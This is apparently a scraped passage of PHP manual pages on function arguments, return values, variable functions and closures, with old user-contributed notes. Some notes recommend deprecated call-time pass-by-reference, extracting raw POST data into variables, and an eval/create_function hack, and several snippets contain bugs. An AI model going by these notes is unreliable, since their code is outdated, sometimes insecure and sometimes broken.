will produce a warning when using the recommended php.ini file.  The way I ended up using for optional pass-by-ref args is to just pass an unused variable when you don't want to use the resulting parameter value:

----
function foo(&$str) {
    $str = "bar";
}

foo($_unused_);
----

Note that trying to pass a value of NULL will produce an error.
bishop 03-Jun-2003 02:06
A tiny clarification on the notes of "keeper at odi dot com dot br", et. al.

Functions explicitly prototyped with formal parameters passed by reference can't have default values. However, functions prototyped to assign default values to formal parameters may be passed references.

For example, this is a parse error:

function foo(&$bar = null) {
    // formal parameters as references can't have default values
    $bar = 242;
}

While this is perfectly legal (and probably what you want, mostly):

function foo($bar = null) {
    $bar = 242;
}

foo();    // valid call, no warnings about missing args
foo(&$x); // valid call, post $x == 242
mjohnston at planetactive dot com 26-Mar-2003 07:14
not only do default values not work with passing by reference, but you can't pass NULL as a parameter that is expected to be a reference, and passing too few parameters to a function causes a warning.
bostjan dot skufca at domenca dot com 09-Dec-2002 04:16
have function

function foo($bar=3) {
  if (!isset($bar)) {
    echo "I'm not set to my default value";
}

and if you do

foo($some_unset_variable);

the $bar variable does not adopt default value (3) as one might expect but it is not set.
guillaume dot goutaudier at eurecom dot fr 19-Jul-2002 12:15
Concerning default values for arguments passed by reference:
I often use that trick:
func($ref=$defaultValue) {
    $ref = "new value";
}
func(&$var);
print($var) // echo "new value"

Setting $defaultValue to null enables you to write functions with optional arguments which, if given, are to be modified.
t dot orf at gmx dot de 07-May-2002 06:48
concerning rbronosky@mac.com 11-May-2001 06:17:
You can include the variable name in the output if you simply pass that name instead of the value:

function show($arrayName) {
  global $$arrayName;
  echo("<pre>\n$arrayName == ");
  print_r($$arrayName);
  echo "</pre>";
}

show('myArray');
wls at wwco dot com 20-Nov-2001 11:29
Follow up to resource passing:

It appears that if you have defined the resource in the same file
as the function that uses it, you can get away with the global trick.

Here's the failure case:

  include "functions_doing_globals.php"
  $conn = openDatabaseConnection();
  invoke_function_doing_global_conn();

...that it fails.

Perhaps it's some strange scoping problem with include/require, or
globals trying to resolve before the variable is defined, rather
than at function execution.
keeper at odi dot com dot br 07-Oct-2001 04:20
Whem arguments are passed by reference, default values won't work.
duncanmadcow at hotmail dot com 05-Sep-2001 03:50
I have tried the example given by ak@avatartech.com
it did not work I use php 4.0.6 on windows 98

I do think that it is good that there is no automatic parameter passing, thus it would force people to do good programming practie
rwillmann at nocomment dot sk 21-Jun-2001 03:05
There is no way how to deal with calling by reference when variable lengths argument list are passed.
<br>Only solutions is to use construction like this:<br>
function foo($args) {<br>
   ...
}

foo(array(&$first, &$second));

Above example pass by value a list of references to other variables :-)

It is courios, becouse when you call a function with arguments passed via &$parameter syntax, func_get_args returns array of copies :-(

rwi
artiebob at go dot com 25-Feb-2001 01:48
here is the code to pass a user defined function as an argument.  Just like in the usort method.

<?php
func2("func1");
function func1 ($arg){
        print ("Hello $arg");
}
function func2 ($arg1){
        $arg1("World");  //Does the same thing as the next line
        call_user_func ($arg1, "World");
}
?>
david at petshelter dot net 24-Jan-2001 11:23
With reference to the note about extract() by dietricha@subpop.com:

He is correct and this is great!  What he does not say explicitly is that the extracted variable names have the scope of the function, not the global namespace.  (This is the appropriate behavior IMO.)  If for some reason you want the extracted variables to be visible in the global namespace, you must declare them 'global' inside the function.
marvinalone at gmx dot net 06-Jan-2001 06:19
Nice to know is this:

If you call a function giving an unset variable, it will be unset in the function. Consider this:

<?php
function my_test ($var) {
    if (isset ($var)) echo ("set");
}

my_test ($unused);
?>

This will _not_ echo "set", regardless of the variable being passed by value or by reference.

(If my newlines are messed up, sorry, this seems to be a konqueror problem)
dietricha at subpop dot com 10-Oct-2000 01:39
if you compiled with "--enable-track-vars" then an easy way to get variable function args is to use extract().

<?php
$args = array("color" = "blue","number" = 3);

function my_func($args){
extract($args);
echo $color;
echo $number;
}
?>

the above strategy makes it real easy to globalize form data within functions, or to pass form data arrays to functions:

<input type="text" name="test[color]" value="blue">
etc, etc.
Then in your function, pass $test to extract() to turn the array data into global vars.

 or
<?php
function my_func($HTTP_POST_VARS){
 extract($HTTP_POST_VARS);
 // use all your vars by name!
  }
?>
coop at better-mouse-trap dot com 09-Oct-2000 08:59
If you prefer to use named arguments to your functions (so you don't have to worry about the order of variable argument lists), you can do so PERL style with anonymous arrays:

<?php
function foo($args)
{
    print "named_arg1 : " . $args["named_arg1"] . "\n";
    print "named_arg2 : " . $args["named_arg2"] . "\n";
}

foo(array("named_arg1" => "arg1_value", "named_arg2" => "arg2_value"));
?>

will output:
named_arg1 : arg1_value
named_arg2 : arg2_value
almasy at axisdata dot com 20-Aug-2000 04:11
Re: Passing By Reference Inside A Class

Passing arguments by reference does work inside a class.  When you do:

    $this->testVar = $ref;

inside setTestVar(), you're copying by value instead of copying by reference.  I think what you want there is this:

    $this->testVar = &$ref;

Which is the new "assign by reference" syntax that was added in PHP4.
21-Apr-2000 02:45
You may pass any number of extra parameters to a function, regardless of the prototyping. In addition, the arguments passed to a function will be available via the variable names defined in the function prototype, as well as via the func_get_arg() and func_get_args() functions.

For example:
function printme ($arg) {
    for ($ndx = 0; $ndx < $num_args; ++$ndx)
        $output .= func_get_arg ($ndx);

    print $output;
}

printme ("one ", "two"); # This prints "one two".

This behavior is useful for setting default values for function arguments and for ensuring that a certain number of arguments get passed to a function.
User-defined functions
Returning values
Functions


Returning values

Values are returned by using the optional return statement. Any type may be returned, including arrays and objects. This causes the function to end its execution immediately and pass control back to the line from which it was called. See return() for more information.

Note:

If the return() is omitted the value NULL will be returned.

Example #1 Use of return()

<?php
function square($num)
{
    return $num * $num;
}
echo square(4);   // outputs '16'.
?>

A function can not return multiple values, but similar results can be obtained by returning an array.

Example #2 Returning an array to get multiple values

<?php
function small_numbers()
{
    return array (0, 1, 2);
}
list ($zero, $one, $two) = small_numbers();
?>

To return a reference from a function, use the reference operator & in both the function declaration and when assigning the returned value to a variable:

Example #3 Returning a reference from a function

<?php
function &returns_reference()
{
    return $someref;
}

$newref =& returns_reference();
?>

For more information on references, please check out References Explained.

User Contributed Notes

bbraun at basicbusinesssim dot com 12-Jan-2011 03:43
Variables declared as global inside a function are available outside the function.

<?php

function writefunctionvars() {

    global $foo;
    $foo = "something";

}

writefunctionvars();
echo $foo; // displays "something"

?>
rstaveley at seseit dot com 29-Aug-2010 01:26
Developers with a C background may expect pass by reference semantics for arrays. It may be surprising that  pass by value is used for arrays just like scalars. Objects are implicitly passed by reference.

<?php

# (1) Objects are always passed by reference and returned by reference

class Obj {
    public $x;
}

function obj_inc_x($obj) {
    $obj->x++;
    return $obj;
}

$obj = new Obj();
$obj->x = 1;

$obj2 = obj_inc_x($obj);
obj_inc_x($obj2);

print $obj->x . ', ' . $obj2->x . "\n";

# (2) Scalars are not passed by reference or returned as such

function scalar_inc_x($x) {
    $x++;
    return $x;
}

$x = 1;

$x2 = scalar_inc_x($x);
scalar_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (3) You have to force pass by reference and return by reference on scalars

function &scalar_ref_inc_x(&$x) {
    $x++;
    return $x;
}

$x = 1;

$x2 =& scalar_ref_inc_x($x);    # Need reference here as well as the function sig
scalar_ref_inc_x($x2);

print $x . ', ' . $x2 . "\n";

# (4) Arrays use pass by value sematics just like scalars

function array_inc_x($array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 = array_inc_x($array);
array_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";

# (5) You have to force pass by reference and return by reference on arrays

function &array_ref_inc_x(&$array) {
    $array{'x'}++;
    return $array;
}

$array = array();
$array['x'] = 1;

$array2 =& array_ref_inc_x($array); # Need reference here as well as the function sig
array_ref_inc_x($array2);

print $array['x'] . ', ' . $array2['x'] . "\n";
Anonymous 09-Jul-2010 07:54
As of at least PHP 5.3, a function or class method returning an object acts like an object.

<?php

class A {
    function test() {
        echo "Yay!";
        }
    }

function get_obj() {
    return new A();
    }

get_obj()->test();  // "Yay!"

?>

Sorry, still doesn't work with arrays.  Ie <?php echo get_array()[1]; ?> fails.
bgalloway at citycarshare dot org 27-Mar-2008 06:27
Be careful about using "do this thing or die()" logic in your return lines.  It doesn't work as you'd expect:

<?php
function myfunc1() {
    return('thingy' or die('otherthingy'));
}
function myfunc2() {
    return 'thingy' or die('otherthingy');
}
function myfunc3() {
    return('thingy') or die('otherthingy');
}
function myfunc4() {
    return 'thingy' or 'otherthingy';
}
function myfunc5() {
    $x = 'thingy' or 'otherthingy'; return $x;
}
echo myfunc1(). "\n". myfunc2(). "\n". myfunc3(). "\n". myfunc4(). "\n". myfunc5(). "\n";
?>

Only myfunc5() returns 'thingy' - the rest return 1.
Trevor Blackbird > yurab.com 18-Apr-2006 04:36
You can also use the compact-extract pair to return multiple values:

<?php

function Composite($x, $y) {
    $sum = $x + $y;
    $dif = $x - $y;
    return compact('sum', 'dif');
}

extract(Composite(3, 4));
echo $sum;
echo $dif;

?>
nick at itomic.com 04-Aug-2003 12:56
Functions which return references, may return a NULL value. This is inconsistent with the fact that function parameters passed by reference can't be passed as NULL (or in fact anything which isnt a variable).

i.e.

<?php

function &testRet()
{
    return NULL;
}

if (testRet() === NULL)
{
    echo "NULL";
}
?>

parses fine and echoes NULL
rusty at socrates dot berkeley dot edu 17-Jul-2003 02:48
Here's a sick idea.  When a function returns no value, if you assign its return value to a variable that variable will be unset.  So instead of returning -1 on error just return with no value.

For example,

function myfunc($myvar) {
  if ($myvar == "abc")
    return(1);

  if ($myvar == "xyz")
    return(2);

  return;
}

$abc = myfunc("def");

if (isset($abc))
   echo("a-ok");
else
  echo("oops");
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 10:13
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $varible;
}

echo fn();
OR
$newvarible = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically with the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
ian at NO_SPAM dot verteron dot net 15-Jan-2003 04:28
In reference to the poster above, an additional (better?) way to return multiple values from a function is to use list(). For example:

function fn($a, $b)
{
   # complex stuff

   return array(
      $a * $b,
      $a + $b,
   );
}

list($product, $sum) = fn(3, 4);

echo $product; # prints 12
echo $sum; # prints 7
devinemke at yahoo dot com 26-Jun-2002 11:45
A function can only return one value, but that value can be an array or other compound value.  If you want to just define several variables into the global scope within your function you can do two things:

1. return an array from your function and then run the extract() function

$result_array = test ();
extract ($result_array);

2. Or you can just append the variables to the $GLOBALS array:

$array = array ('first' => 'john', 'middle' => 'q', 'last' => 'public');
function upper_case () {
global $array;
foreach ($array as $key => $value)
{
$GLOBALS[$key] = strtoupper ($value);
}
}

upper_case ();
echo "$first $middle $last";
// returns JOHN Q PUBLIC

In this second example you can create multiple values without necessarily returning anything from the function.  This may be handy for applying several functions (stripslashes, trim, etc..) accross all elements of $_POST or $_GET and then having all of the newly cleaned up variables extracted out for you.
destes at ix dot netcom dot com dot nospam 03-Mar-2002 12:35
One thing to note about returning arrays- the usual "complex variable" syntax will give you a parse error.  For instance, if you have:

function adminstuff() {
    mysql_connect('localhost', 'user', 'pass');
    mysql_select_db('mydb');
    $result = mysql_query('SELECT login, pass FROM users);
    $resultrow = mysql_fetch_array( $result );

    # this next line is key:
    return array ({$resultrow['login']}, {$resultrow['pass']});
}

That won't work.  You *can* reference array elements without the curly-braces syntax, i.e.:

return array ($resultrow['login'], $resultrow['pass']);

But you'll get a parse error if you try to use curly braces.  Thanks,

Steve
php at control-escape dot com 25-Apr-2001 12:26
PHP functions that do not explicitly return a value will be 'void', that is, they return 'null'. C programmers will be accustomed to this already, but folks coming from Perl may expect the return value of a function to be the return value of the last expression evaluated inside the function, as is the case with Perl. Not so.
Function arguments
Variable functions
Functions


Variable functions

PHP supports the concept of variable functions. This means that if a variable name has parentheses appended to it, PHP will look for a function with the same name as whatever the variable evaluates to, and will attempt to execute it. Among other things, this can be used to implement callbacks, function tables, and so forth.

Variable functions won't work with language constructs such as echo(), print(), unset(), isset(), empty(), include(), require() and the like. Utilize wrapper functions to make use of any of these constructs as variable functions.

Example #1 Variable function example

<?php
function foo() {
    echo "In foo()<br />\n";
}

function bar($arg = '')
{
    echo "In bar(); argument was '$arg'.<br />\n";
}

// This is a wrapper function around echo
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

An object method can also be called with the variable functions syntax.

Example #2 Variable method example

<?php
class Foo
{
    function Variable()
    {
        $name = 'Bar';
        $this->$name(); // This calls the Bar() method
    }

    function Bar()
    {
        echo "This is Bar";
    }
}

$foo = new Foo();
$funcname = "Variable";
$foo->$funcname();  // This calls $foo->Variable()

?>

When calling static methods, the function call is stronger than the static property operator:

Example #3 Variable method example with static properties

<?php
class Foo
{
    static $variable = 'static property';
    static function Variable()
    {
        echo 'Method Variable called';
    }
}

echo Foo::$variable; // This prints 'static property'. It does need a $variable in this scope.
$variable = "Variable";
Foo::$variable();  // This calls $foo->Variable() reading $variable in this scope.

?>

See also call_user_func(), variable variables and function_exists().

User Contributed Notes

Anonymous 27-Jun-2011 11:20
$ wget http://www.php.net/get/php_manual_en.tar.gz/from/a/mirror
$ grep -l "\$\.\.\." php-chunked-xhtml/function.*.html

List of functions that accept variable arguments.
<?php
array_diff_assoc()
array_diff_key()
array_diff_uassoc()
array()
array_intersect_ukey()
array_map()
array_merge()
array_merge_recursive()
array_multisort()
array_push()
array_replace()
array_replace_recursive()
array_unshift()
call_user_func()
call_user_method()
compact()
dba_open()
dba_popen()
echo()
forward_static_call()
fprintf()
fscanf()
httprequestpool_construct()
ibase_execute()
ibase_set_event_handler()
ibase_wait_event()
isset()
list()
maxdb_stmt_bind_param()
maxdb_stmt_bind_result()
mb_convert_variables()
newt_checkbox_tree_add_item()
newt_grid_h_close_stacked()
newt_grid_h_stacked()
newt_grid_v_close_stacked()
newt_grid_v_stacked()
newt_win_choice()
newt_win_entries()
newt_win_menu()
newt_win_message()
newt_win_ternary()
pack()
printf()
register_shutdown_function()
register_tick_function()
session_register()
setlocale()
sprintf()
sscanf()
unset()
var_dump()
w32api_deftype()
w32api_init_dtype()
w32api_invoke_function()
wddx_add_vars()
wddx_serialize_vars()
?>
imurnane at internode on net 02-May-2011 03:05
Create and call a dynamically named function

<?php
$tmp = "foo";
$$tmp = function() {
    global $tmp;
    echo $tmp;
};

$$tmp();
?>

Outputs "foo"
michalmojz at gmail dot com 29-Jan-2011 01:51
You can make dynamic functions as well.

For example

<?php
$myFunction = function() {
      echo 1;
};

if(is_callable($myFunction)) {
      $myFunction();
}
?>
AnonymousPoster at disposeamail dot com 03-May-2010 02:20
Variable functions allows higher-order programming.

Here is the classical map example.

<?php
/*
 * Map function. At each $element of the $list, calls $fun([$arg1,[$arg2,[...,]],$element,$accumulator),
 *      stores the return value into $accumulator for the next loop. Returns the last return value of the function,
 *
 * Notes : uses call_user_func_array() so passing parameters doesn't depend on $fun signature
 *          It also returns FALSE upon error.
 *          Please check the php documentation for more information
 */
function map($fun, $list,$params=array()){
    $acc=NULL;
    $last=array_push($params, NULL,$acc)-1; // alloc $element and $acc at the end
    foreach($list as $params[$last-1]){
        $params[$last]=call_user_func_array($fun , $params  );
    }
    $acc=array_pop($params);
    return $acc;
}

function add($element,$acc){ // maybe only with multi-length function
    if ($acc == NULL);
    return $acc=$element+$acc;
}

$result=0;
$result=addTo($result,1);
$result=addTo($result,2);
$result=addTo($result,3);
echo "result = $result\n";

$result=0;
$result=map('addTo',array(1,2,3));
echo "result= $result\n";
?>
boards at gmail dot com 22-Jan-2006 10:07
If you want to call a static function (PHP5) in a variable method:

Make an array of two entries where the 0th entry is the name of the class to be invoked ('self' and 'parent' work as well) and the 1st entry is the name of the function.  Basically, a 'callback' variable is either a string (the name of the function) or an array (0 => 'className', 1 => 'functionName').

Then, to call that function, you can use either call_user_func() or call_user_func_array().  Examples:

<?php
class A {

  protected $a;
  protected $c;

  function __construct() {
    $this->a = array('self', 'a');
    $this->c = array('self', 'c');
  }

  static function a($name, &$value) {
    echo $name,' => ',$value++,"\n";
  }

  function b($name, &$value) {
    call_user_func_array($this->a, array($name, &$value));
  }

  static function c($str) {
    echo $str,"\n";
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_arg(0));
  }

}

class B extends A {

  function __construct() {
    $this->a = array('parent', 'a');
    $this->c = array('self', 'c');
  }

  static function c() {
    print_r(func_get_args());
  }

  function d() {
    call_user_func_array($this->c, func_get_args());
  }

  function e() {
    call_user_func($this->c, func_get_args());
  }

}

$a =& new A;
$b =& new B;
$i = 0;

A::a('index', $i);
$a->b('index', $i);

$a->c('string');
$a->d('string');
$a->e('string');

# etc.
?>
Storm 03-May-2005 08:34
This can quite useful for a dynamic database class:

(Note: This just a simplified section)

<?php
class db {

    private $host = 'localhost';
    private $user = 'username';
    private $pass = 'password';
    private $type = 'mysqli';

    public $lid = 0;

    // Connection function
    function connect() {
        $connect = $this->type.'_connect';

        if (!$this->lid = $connect($this->host, $this->user, $this->pass)) {
            die('Unable to connect.');
        }
 }
}
$db  = new db;
$db->connect();
?>

Much easier than having multiple database classes or even extending a base class.
ian at NO_SPAM dot verteron dot net 20-Dec-2002 07:33
A good method to pass around variables containing function names within some class is to use the same method as the developers use in preg_replace_callback - with arrays containing an instance of the class and the function name itself.

function call_within_an_object($fun)
{
  if(is_array($fun))
  {
    /* call a function within an object */
    $fun[0]->{$fun[1]}();
  }
  else
  {
    /* call some other function */
    $fun();
  }
}

function some_other_fun()
{
  /* code */
}

class x
{
  function fun($value)
  {
    /* some code */
  }
}

$x = new x();

/* the following line calls $x->fun() */
call_within_an_object(Array($x, 'fun'));

/* the following line calls some_other_fun() */
call_within_an_object('some_other_fun');
madeinlisboa at yahoo dot com 05-Sep-2002 05:14
Finally, a very easy way to call a variable method in a class:

Example of a class:

class Print() {
    var $mPrintFunction;

    function Print($where_to) {
        $this->mPrintFunction = "PrintTo$where_to";
    }

    function PrintToScreen($content) {
        echo $content;
    }

    function PrintToFile($content) {
        fputs ($file, $contents);
    }

.. .. ..

    // first, function name is parsed, then function is called
    $this->{$this->mPrintFunction}("something to print");
}
msmith at pmcc dot com 02-May-2002 04:49
Try the call_user_func() function.  I find it's a bit simpler to implement, and at very least makes your code a bit more readable... much more readable and simpler to research for someone who isn't familiar with this construct.
anpatel at NOSPAM_cbu dot edu 17-Mar-2002 09:11
Yes interpolation can be very tricky. I suggest that you always use parenthesis, or curly brackets(whichever applies) to make your expression clear.

Dont ever depend on a language's expression parse preference order.
retro at enx dot org 13-Jan-2002 07:18
Another way to have php parse a variable within an object as a function is to simply set a temporary variable to its value. For example:

$obj->myfunction = "foo";
$x = $obj->myfunction;
$x(); // calls the function named "foo"
Returning values
Internal (built-in) functions
Functions


Internal (built-in) functions

PHP comes standard with many functions and constructs. There are also functions that require specific PHP extensions compiled in, otherwise fatal "undefined function" errors will appear. For example, to use image functions such as imagecreatetruecolor(), PHP must be compiled with GD support. Or, to use mysql_connect(), PHP must be compiled with MySQL support. There are many core functions that are included in every version of PHP, such as the string and variable functions. A call to phpinfo() or get_loaded_extensions() will show which extensions are loaded into PHP. Also note that many extensions are enabled by default and that the PHP manual is split up by extension. See the configuration, installation, and individual extension chapters, for information on how to set up PHP.

Reading and understanding a function's prototype is explained within the manual section titled how to read a function definition. It's important to realize what a function returns or if a function works directly on a passed in value. For example, str_replace() will return the modified string while usort() works on the actual passed in variable itself. Each manual page also has specific information for each function like information on function parameters, behavior changes, return values for both success and failure, and availability information. Knowing these important (yet often subtle) differences is crucial for writing correct PHP code.

Note: If the parameters given to a function are not what it expects, such as passing an array where a string is expected, the return value of the function is undefined. In this case it will likely return NULL but this is just a convention, and cannot be relied upon.

See also function_exists(), the function reference, get_extension_funcs(), and dl().

User Contributed Notes

There are no user contributed notes for this page.
Variable functions
Anonymous functions
Functions


Anonymous functions

Anonymous functions, also known as closures, allow the creation of functions which have no specified name. They are most useful as the value of callback parameters, but they have many other uses.

Example #1 Anonymous function example

<?php
echo preg_replace_callback('~-([a-z])~', function ($match) {
    return strtoupper($match[1]);
}, 'hello-world');
// outputs helloWorld
?>

Closures can also be used as the values of variables; PHP automatically converts such expressions into instances of the Closure internal class. Assigning a closure to a variable uses the same syntax as any other assignment, including the trailing semicolon:

Example #2 Anonymous function variable assignment example

<?php
$greet = function($name)
{
    printf("Hello %s\r\n", $name);
};

$greet('World');
$greet('PHP');
?>

Closures may also inherit variables from the parent scope. Any such variables must be declared in the function header. Inheriting variables from the parent scope is not the same as using global variables. Global variables exist in the global scope, which is the same no matter what function is executing. The parent scope of a closure is the function in which the closure was declared (not necessarily the function it was called from). See the following example:

Example #3 Closures and scoping

<?php
// A basic shopping cart which contains a list of added products
// and the quantity of each product. Includes a method which
// calculates the total price of the items in the cart using a
// closure as a callback.
class Cart
{
    const PRICE_BUTTER  = 1.00;
    const PRICE_MILK    = 3.00;
    const PRICE_EGGS    = 6.95;

    protected $products = array();

    public function add($product, $quantity)
    {
        $this->products[$product] = $quantity;
    }

    public function getQuantity($product)
    {
        return isset($this->products[$product]) ? $this->products[$product] :
               FALSE;
    }

    public function getTotal($tax)
    {
        $total = 0.00;

        $callback =
            function ($quantity, $product) use ($tax, &$total)
            {
                $pricePerItem = constant(__CLASS__ . "::PRICE_" .
                    strtoupper($product));
                $total += ($pricePerItem * $quantity) * ($tax + 1.0);
            };

        array_walk($this->products, $callback);
        return round($total, 2);
    }
}

$my_cart = new Cart;

// Add some items to the cart
$my_cart->add('butter', 1);
$my_cart->add('milk', 3);
$my_cart->add('eggs', 6);

// Print the total with a 5% sales tax.
print $my_cart->getTotal(0.05) . "\n";
// The result is 54.29
?>

Anonymous functions are implemented using the Closure class.

Changelog

Version | Description
5.4.0 | $this can be used in anonymous functions.
5.3.0 | Anonymous functions become available.

Notes

Note: It is possible to use func_num_args(), func_get_arg(), and func_get_args() from within a closure.

User Contributed Notes

mike at borft dot student dot utwente dot nl 24-Jan-2012 02:46
Since it is possible to assign closures to class variables, it is a shame it is not possible to call them directly. ie. the following does not work:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }
}

$f = new foo();

$f->test();
?>

However, it is possible using the magic __call function:
<?php
class foo {

  public test;

  public function __construct(){
    $this->test = function($a) {
      print "$a\n";
    };
  }

  public function __call($method, $args){
    if ( $this->{$method} instanceof Closure ) {
      return call_user_func_array($this->{$method},$args);
    } else {
      return parent::__call($method, $args);
    }
  }
}
$f = new foo();
$f->test();
?>
it
Hope it helps someone ;)
lennymail at nospam dot gmail dot com 05-Oct-2011 10:40
A practical example of anonymous functions could be a clean template system. Here you can completely remove messy HTML from your code and keep everything very readable. The last statement that prints the HTML in the example below resembles LISP or other functional type languages. The closure retains the HTML tag from parent scope(which can be initialized in creative ways) and properly closes it after the function call. Items can either nested or composed within HTML tags.

You can take this idea further and "map and wrap" columns and rows of recordsets with HTML for display. All that is missing now is the CSS to make it attractive in the browser.

Closures can be thought of as a very primitive class that has one "apply" method with some private and public data. Functional programming has been around since the first programming languages in the 1950s.

<?php

function html ($code , $id="", $class=""){
    if ($id !== "") $id = " id = \"$id\"" ;
    $class =  ($class !== "")? " class =\"$class\"":">";
    $open = "<$code$id$class";
    $close = "</$code>";
    return function ($inner = "") use ($open, $close){
        return "$open$inner$close";};

}
$layout = array('container','header','pmain','lsidebar','rsidebar','footer');

foreach ($layout as $element)
   $$element = html ("div", $element);

$div = html("div", "test");

$bold = html('strong');
$italic = html('i');

$msg= $div($bold($italic("hello from the left sidebar")));

echo $container(
    $header(
        "This is the header").$pmain(
            $lsidebar(
                $msg).$rsidebar(
                "This is the right sidebar")).$footer(
    ));
hernan_javier_saab at yahoo dot com 23-Sep-2011 09:54
When invoking an anonymous function through throughThroughFunction(), all variables are automatically binded to the inner function. In addition, variables created within the anonymous function are also "binded out" incorporating it to the scope where the anonymous function is being created.
Enjoy!

<?php
class ThroughThrogh {
    public $to_export = array();
    public $to_import = array();

    // we eval() these functions in order to cleanup verbosity. Cleaner this way even though we all heard about the nightmares of eval()
    const TX_START_X = 'foreach(get_defined_vars() as $k=>$v){$this->to_export[$k] =&${$k};};';
    const TX_START_I = 'foreach($that->to_export as $name => &$variable) ${$name} = &$variable;';
    const TX_END_X = 'foreach(get_defined_vars() as $k=>$v){if(!isset($that->to_export[$k])) $that->to_import[$k] =&${$k};};';
    const TX_END_I = 'foreach($this->to_import as $name => &$variable) ${$name} = &$variable;';

    public function hackClosure($closure, $inject_start, $inject_end) {
        $reflection = new ReflectionFunction($closure);
        $tmp = $reflection->getParameters();
        $args = array('$that');
        foreach ($tmp as $a)
            array_push($args, '$' . $a->getName() . ($a->isDefaultValueAvailable() ? '=\'' . $a->getDefaultValue() . '\'' : ''));
        $file = new SplFileObject($reflection->getFileName());
        $file->seek($reflection->getStartLine() - 1);
        $code = '';
        while ($file->key() < $reflection->getEndLine()) {
            $code .= $file->current();
            $file->next();
        }
        $start = strpos($code, '{') + 1;
        $end = strrpos($code, '}');
        return create_function(implode(', ', $args), "$inject_start;" .  substr($code, $start, $end - $start) . "$inject_end;");
    }

    //here is where we invoke the function
    public function throughThroughFunction($that, $callback){
        $this->to_export["that"] = $that;

        $inject_start = self::TX_START_I;// potentially you can add setup code in here
        $inject_end = self::TX_END_X;// potentially you can add cleanup code in here
        $callback = $this->hackClosure($callback, $inject_start, $inject_end);

        call_user_func($callback, $that);
    }

    //user test
    public function test(){

       $outscope = "Source External Scope: test... not modified if seen at end of function\n";
       $this->test = "Source External Scope: object attribute from outside anonymous function\n";
       eval($this::TX_START_X); //required to export all variables from scope
       $this->throughThroughFunction($this, function(){

           echo "Source Anonymous Function\n";
           echo $outscope;
           echo $that->test;
           $that->test = "Source Anonymous Function Scope: wow! Object attribute modified from inside anonymous function\n";
           $outscope = "Source Anonymous Function Scope: yey! Variable Modified from the scope of an anonymous function!\n";
           $from_anonymous_function = "Source Anonymous Function Scope: No way! How did you do that?\n";

        } );
        eval($this::TX_END_I); //require to bring newly created variables from anonymous function into current scope
        echo "\nSource External Scope\n";
        echo $from_anonymous_function;
        echo $outscope;
        echo $this->test;
    }

}

$demo = new ThroughThrogh();
$demo->test();
?>

Output

Source Anonymous Function
Source External Scope: test... not modified if seen at end of function
Source External Scope: object attribute from outside anonymous function

Source External Scope
Source Anonymous Function Scope: No way! How did you do that?
Source Anonymous Function Scope: yey! Variable Modified from the scope of an anonymous function!
Source Anonymous Function Scope: wow! Object attribute modified from inside anonymous function
reinaldorock at yahoo dot com dot br 27-Aug-2011 08:15
Using closure to encapsulate environment
<?php
    $fib = function($n) use(&$fib) {
        if($n == 0 || $n == 1) return 1;
        return $fib($n - 1) + $fib($n - 2);
    };

   echo $fib(2) . "\n"; // 2
   $lie = $fib;
   $fib = function(){die('error');};//rewrite $fib variable
   echo $lie(5); // error   because $fib is referenced by closure

?>

Alternative Fibonacci implementation using a self called function like javascript to encapsulate references variables.

<?php
$fib = call_user_func(function(){

    $fib = function($n) use(&$fib) {
        if($n == 0 || $n == 1) return 1;
        return $fib($n - 1) + $fib($n - 2);
    };

    return $fib;
});

echo $fib(2) . "\n";//2
$ok = $fib;

$fib = function(){die('error')};//rewrite $fib variable but don't referenced $fib used by closure
echo $ok(5);//result ok
?>
ldrut 13-Aug-2011 01:24
A common way to avoid contaminating Javascript global space with unneeded variables is to move the code into an immediately called anonymous closure.

(function(){ ... })()

The equivalent way to do that in PHP 5.3+ is

call_user_func(function() use(closure-vars){ ... });
simon at generalflows dot com 05-Aug-2011 08:23
<?php

/*
 * An example showing how to use closures to implement a Python-like decorator
 * pattern.
 *
 * My goal was that you should be able to decorate a function with any
 * other function, then call the decorated function directly:
 *
 * Define function:         $foo = function($a, $b, $c, ...) {...}
 * Define decorator:        $decorator = function($func) {...}
 * Decorate it:             $foo = $decorator($foo)
 * Call it:                 $foo($a, $b, $c, ...)
 *
 * This example show an authentication decorator for a service, using a simple
 * mock session and mock service.
 */

session_start();

/*
 * Define an example decorator. A decorator function should take the form:
 * $decorator = function($func) {
 *     return function() use $func) {
 *         // Do something, then call the decorated function when needed:
 *         $args = func_get_args($func);
 *         call_user_func_array($func, $args);
 *         // Do something else.
 *     };
 * };
 */
$authorise = function($func) {
    return function() use ($func) {
        if ($_SESSION['is_authorised'] == true) {
            $args = func_get_args($func);
            call_user_func_array($func, $args);
        }
        else {
            echo "Access Denied";
        }
    };
};

/*
 * Define a function to be decorated, in this example a mock service that
 * need to be authorised.
 */
$service = function($foo) {
    echo "Service returns: $foo";
};

/*
 * Decorate it. Ensure you replace the origin function reference with the
 * decorated function; ie just $authorise($service) won't work, so do
 * $service = $authorise($service)
 */
$service = $authorise($service);

/*
 * Establish mock authorisation, call the service; should get
 * 'Service returns: test 1'.
 */
$_SESSION['is_authorised'] = true;
$service('test 1');

/*
 * Remove mock authorisation, call the service; should get 'Access Denied'.
 */
$_SESSION['is_authorised'] = false;
$service('test 2');

?>
paul at somewhere dot com 06-Mar-2011 02:36
I benched instantiating a function and lambda function.

Functions used:
